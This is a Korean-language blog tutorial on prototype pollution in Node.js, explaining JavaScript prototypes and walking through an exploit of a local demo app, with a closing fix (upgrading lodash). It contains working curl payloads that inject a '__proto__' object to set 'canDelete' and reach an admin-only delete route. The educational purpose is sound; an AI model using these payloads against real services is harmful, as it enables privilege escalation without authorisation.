Prototype Pollution이란 ?
[ Node.js#1 Prototype Pollution ]
Table of contents
#0 Introduction
#1 3 Concepts
#2 Exploit
#3 Conclusion
#0 Introduction
11년 전에 발표된 Software Platform인 Node.js는 현재 15.12.0 버전까지 출시됐으며, Server, Client 개발 언어(Javascript)의 통일로 인한 언어 습득 시간 감소, I/O 작업 도중에도 User Process 작업 중단이 이뤄지지 않는 Non-Blocking I/O 방식을 통한 효율적인 처리가 가능하기 때문에 현재는 주요 Network Application 개발을 위한 Software Platform으로 이용되고 있다. 개발자들의 인기만 얻으면 좋겠으나, Web Service 개발의 주된 Platform인 만큼 정보 탈취, 서비스 마비를 위한 공격자들의 주된 관심사가 되기도 한다. 그렇기때문에 보다 사회에 안전한 서비스 제공을 위해 Node.js 취약점에 대해 연구하고 그에 대한 대응 기술을 익히고 제공하고자 글을 작성한다.
#1 3 Concepts
- Javascript에서 기본 객체 생성 시, Object 함수를 이용한 객체 생성(클래스 객체 생성st)
var obj = {}; // var obj = new Object(); 와 동일
- 객체 생성 시, obj의 __proto__속성 값은 부모 (클래스)의 prototype 객체을 가르킴(포인터)
- 객체 속성 미존재 시, 객체의 상위 prototype 의 속성 값 반환(상위 prototype에도 값 미존재 시, undefined 반환)
#2. Exploit
ProtoType Pollution이란? 입력에 대한 필터링이 미흡하여 공격자가 객체의 __proto__의 속성명, 값 지정이 가능할 때, 객체들의 상위 prototype(Object.prototype)이 동일하므로, __proto__ 속성 값 변조를 통해 임의의 객체 속성 값 변경 이가능한 취약점 입니다.
[ Example 0 ]
const obj1 = {}; //const obj1 = new Object();와 동일하므로 obj1의 __proto__은 Object 객체의 Prototype Object를 가르킨다.
console.log(obj1.__proto__ === Object.prototype); // true
obj1.__proto__.polluted = 1;
const obj2 = {};
console.log(obj2.polluted); // 1 //객체의 속성 미존재 시, 상위 프로토타입 속성 겁색 후 존재 시 값 반환, 만약 상위 프로토타입 속성 미존재 시, undefined 반환
[ Example 1 ]
공자의 명언 중에 이런말이 있습죠, "들은 것은 잊어버리고, 본 것은 기억하고 직접 해본 것은 이해한다"
"Example 0"을 눈으로 보고 기억할 수 있으실테니, 이제 실제 웹사이트에서 구현했을만한 코드를 이용해 Exploit을 해봅세다.
Step0. 하단 링크 클릭 후, 예제 소스코드 다운로드 or 아래 코드 Download합니다. (아래 압축 파일 이용 권고)
https://github.com/Kirill89/prototype-pollution-explained
Step1. 다운받은 압축파일을 풀어주시고, 설치한 node, npm을 통해 WebApplication을 실행해줍니다.
의존 package 설치 후 Node.js 실행합니다.
npm install
npm start
Step2. CMD 창을 열고 POST Test Payload를 입력하여 잘 실행되는지 확인합니다~!
+링크를 통해 소스코드를 다운받으셨다면, 그에 알맞은 Payload 작성이 필요합니다.
curl --url http://localhost:3000/ --header "Content-Type: application/json" --data "{\"auth\": {\"name\": \"user\", \"password\": \"pwd\"}, \"message\": {\"text\": \"Hi!\"}}"
Step3. CMD 창을 열고 POST Exploit Payload를 입력하여 user.canDelete 값을 true로 설정합니다.
curl --url http://localhost:3000/ --header "Content-Type: application/json" --data "{\"auth\":{\"name\":\"user\",\"password\":\"pwd\"},\"message\":{\"text\":\"s\",\"__proto__\":{\"canDelete\":true}}}"
자~여기서 코드와 함께 개념 3가지를 적용해보겠습니다.
글 보시기 전에 소스코드와 함께 생각하는 시간을 먼저 갖어주세요.
56 번째 줄에서 merge() 웹서비스 이용자가 입력한 Post body 값과 message 상수를 병합합니다.
이 줄의 로직을 풀이해보자면 아래와 같습니다.
공격자가 입력한 요청을 통해 message.__proto__속성 값에 {"canDelete":true}가 입력이 됩니다.
const message = {}; 는 const message = new Object(); 와 동일하므로 message의 상위 클래스st는 Object가 됩니다.
const users = [ {name: 'user', password: 'pwd'}, {name: 'admin', password: Math.random().toString(32), canDelete: true},]; 의 user 객체 또한 Object()가 상위 클래스st이므로,
user 객체와 message 객체에 canDelete 값이 지정되어 있지 않다면!! 상위 prototype 검색을 통한 속성 값을 반환하겠죠.
그래서 message 객체에 canDelete 속성을 지정해줬지만, 다른 객체인 user 객체의 canDelete에 까지 영향을 미치게 되는 것입니다.
이 결과를 통해 user.canDelete가 false이기 때문에 이용할 수 없던 /delete 기능을 user도 이용할 수 있게 됩니다.
여기서는 delete일지 모르나,,로직이 좀 더 허술하다면 admin이 이용가능한 여러 기능을 이용할 수 있겠네요.
Step4. 관리자만이 이용할 수 있는 기능을 아래의 Payload를 사용해 Prototype Pollution 결과를 확인해 봅니다.
curl --url http://localhost:3000/delete --header "Content-Type: application/json" --data "{\"auth\":{\"name\": \"user\",\"password\":\"pwd\"},\"messageId\":2}"
- 결론 : user 객체의 속성으로 canDelete가 존재하지 않으나 prototype Pollution을 통해 user 객체의 canDelete 속성 설정이 가능하여 관리자만이 이용 가능한 기능 사용 성공했습니다~!
+더 나아가 merge 함수를 통해 user의 속성과 request body를 병합할때, 허술한 로직으로 인해 그 안에 admin true/false 속성이 삽입된다면 Exploit 효과는 어마무시하겠네요.
#3 Conclusion
- loadsh package 버전을 4.17.19 이상으로 변경해줍니다.
대상 경로 : package.json
Reference : https://medium.com/@bluesh55/javascript-prototype-%EC%9D%B4%ED%95%B4%ED%95%98%EA%B8%B0-f8e67c286b67
https://blog.coderifleman.com/2019/07/19/prototype-pollution-attacks-in-nodejs/
'HACKING > Web' 카테고리의 다른 글
Sqlmap (0) | 2023.04.04 |
---|---|
Apache Contaminating Log Files = 아파치 로그 오염 공격 (0) | 2022.09.30 |
Setting#0 Ubuntu환경에서 Docker를 이용한 Dokuwiki 세팅 (0) | 2021.05.26 |
Node.js#0 Pug Template XSS(Cross Site Scripting) (0) | 2021.03.22 |